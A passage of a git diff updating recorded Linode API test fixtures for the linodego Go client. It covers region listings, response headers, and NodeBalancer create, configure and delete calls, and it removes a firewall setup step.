"maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", - "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", - "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, - 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, - 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], - "page": 1, "pages": 1, "results": 24}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -258,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:37 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -279,16 +289,19 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: - body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228219}' + body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":501400}' form: {} headers: Accept: @@ -300,10 +313,11 @@ interactions: url: https://api.linode.com/v4beta/nodebalancers method: POST response: - body: '{"id": 441129, "label": "go-test-def", "region": "ap-west", "hostname": - "172-232-87-35.ip.linodeusercontent.com", "ipv4": "172.232.87.35", "ipv6": "1234::5678", - "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": - 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' + body: '{"id": 694194, "label": "go-test-def", "region": "ap-west", "hostname": + "172-232-86-155.ip.linodeusercontent.com", "ipv4": "172.232.86.155", "ipv6": + "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, + "total": null}}' headers: Access-Control-Allow-Credentials: - "true" @@ -316,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "334" + - "336" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:38 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -337,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -355,14 +376,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441129/configs + url: https://api.linode.com/v4beta/nodebalancers/694194/configs method: POST response: - body: '{"id": 670347, "port": 80, "protocol": "http", "algorithm": "roundrobin", + body: '{"id": 1134769, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 441129, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694194, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: @@ -376,15 +397,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "437" + - "438" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:38 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -397,9 +422,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -415,14 +443,14 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441129/configs + url: https://api.linode.com/v4beta/nodebalancers/694194/configs method: GET response: - body: '{"data": [{"id": 670347, "port": 80, "protocol": "http", "algorithm": "roundrobin", - "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": + body: '{"data": [{"id": 1134769, "port": 80, "protocol": "http", "algorithm": + "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": - 441129, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": + 694194, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}], "page": 1, "pages": 1, "results": 1}' headers: @@ -437,16 +465,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "486" + - "487" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:38 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -460,9 +491,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -478,7 +512,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441129/configs/670347 + url: https://api.linode.com/v4beta/nodebalancers/694194/configs/1134769 method: DELETE response: body: '{}' @@ -494,15 +528,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:38 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -515,9 +553,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -533,7 +574,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/nodebalancers/441129 + url: https://api.linode.com/v4beta/nodebalancers/694194 method: DELETE response: body: '{}' @@ -549,15 +590,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:28:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -570,64 +615,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" -- request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls/228219 - method: DELETE - response: - body: '{}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerConfigs_ListMultiplePages.yaml b/test/integration/fixtures/TestNodeBalancerConfigs_ListMultiplePages.yaml index f4cabb252..84346661e 100644 --- a/test/integration/fixtures/TestNodeBalancerConfigs_ListMultiplePages.yaml +++ b/test/integration/fixtures/TestNodeBalancerConfigs_ListMultiplePages.yaml @@ -1,67 +1,6 @@ --- version: 1 interactions: -- request: - body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/networking/firewalls - method: POST - response: - body: '{"id": 228220, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", - "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": - [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": - "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": - "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": - "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], - "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "526" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" - request: body: "" form: {} @@ -76,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + 